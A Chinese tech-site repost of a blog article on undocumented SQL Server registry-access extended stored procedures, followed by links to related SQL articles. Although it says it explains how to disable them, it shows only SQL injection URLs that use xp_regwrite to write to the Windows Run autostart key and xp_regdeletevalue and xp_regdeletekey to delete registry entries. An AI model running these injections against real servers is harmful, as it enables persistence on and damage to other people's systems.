易截截图软件、单文件、免安装、纯绿色、仅160KB

SQL Server中未公布的扩展存储过程

SQL Server中未公布的扩展存储过程
作者: echsys,  出处:blog, 责任编辑: 李书琴, 
2008-09-09 07:00
  在SQL Server中包含了几个可以访问系统注册表的扩展存储过程。它们提供了在当前的SQL Server版本中访问系统注册表的能力,而且很多人利用SQL Server来进行攻击系统。本文介绍了如何在SQL Server中禁用他们。
  虽然大多数人而言并不熟悉,但在SQL Server中包含了几个可以访问系统注册表的扩展存储过程。但实际上这几个扩展存储过程都是未公开的,从SQL Server 7.0就有了,在SQL server 2000中仍然保留,他们以后可能会删除。但是这几个存储过程却提供了在当前的SQL Server版本中访问系统注册表的能力,而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程,所以最好在SQL Server中禁用他们。
  假如http://127.0.0.1/view.asp?id=165存在SQL Server的sql注入,我们可以用xp_regwrite写入注册表。
  使用方法:
  xp_regwrite 根键,子键, 值名, 值类型, 值
      http://127.0.0.1/view.asp?id=165; exec
  master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','
  SOFTWARE\Microsoft\Windows\CurrentVersion\run','
  TestValueName','reg_sz','hello'
  注释:值类型有两种REG_SZ 表示字符型,REG_DWORD 表示整型(用xp_regdeletevalue删除某个值)。
  使用方法:
  xp_regdeletevalue 根键,子键,值名 
      http://127.0.0.1/view.asp?id=165; exec master.
  xp_regdeletevalue 'HKEY_LOCAL_MACHINE','
  SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'
  xp_regdeletekey 删除键,包括该键下所有值
  使用方法:
      http://127.0.0.1/view.asp?id=165; exec
  master.xp_regdeletekey 'HKEY_LOCAL_MACHINE','
  SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'


相关文档:

PowerDesigner与SQL Server相连

PowerDesigner与SQL Server相连
以前听说过PowerDesigner可以和数据库连接,根据在PowerDesigner创建的数据模型创建表、触发器、存储过程到数据库中。也可以将已有的数据库导出到PowerDesigner中为数据模型。今天做了一下测试,发现确实很简单,现在操作步骤与大家分享:
0、准备工作
先在SQL Server中创建一数据库, ......

SQL 中如何返回存储过程中的结果集

set @sql = 'select    *   from   OPENROWSET(''SQLOLEDB'',''SERVER='+@serverip+';uid=sa;pwd=sa;Database='+@databaseName+''',''SET   FMTONLY   OFF;set   nocount   on exec   procName '''''+@yqid+''''''' ) as   ......

SQl 2005 For XMl 简单查询(Raw,Auto,Path模式)(1)

 很多人对Xpath可能比较熟悉,但不知道有没有直接操作过数据库,我们都知道 在Sql2005里公支持的几种查询有Raw,Auto,Path模式等,如果在2000里使用过 Path模式的朋友应该知道,是不容易处理查询结果的,那么在2005里对这一块做了很好的提升
        我先来介绍一下什么是Sql F ......

Win7下面PL/SQL无法使用

今天发现在使用PL/SQL时,无法登陆。经过群里朋友的帮忙,最后圆满解决,现留个记录以便以后可查。
<!--
/* Font Definitions */
@font-face
{font-family:宋体;
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-alt:SimSun;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
......

用SQL查询分析器操纵Excel及导入导出数据

SQL SERVER 和EXCEL的数据导入导出
通常的方法是使用图形界面的dts工具,但发觉有些使用命令行界面的方式更简单
1、在SQL SERVER里查询Excel数据:
-- ======================================================
SELECT *
from OpenDataSource( 'Microsoft.Jet.OLEDB.4.0',
'Data Source="c:\book1.xls";Use ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号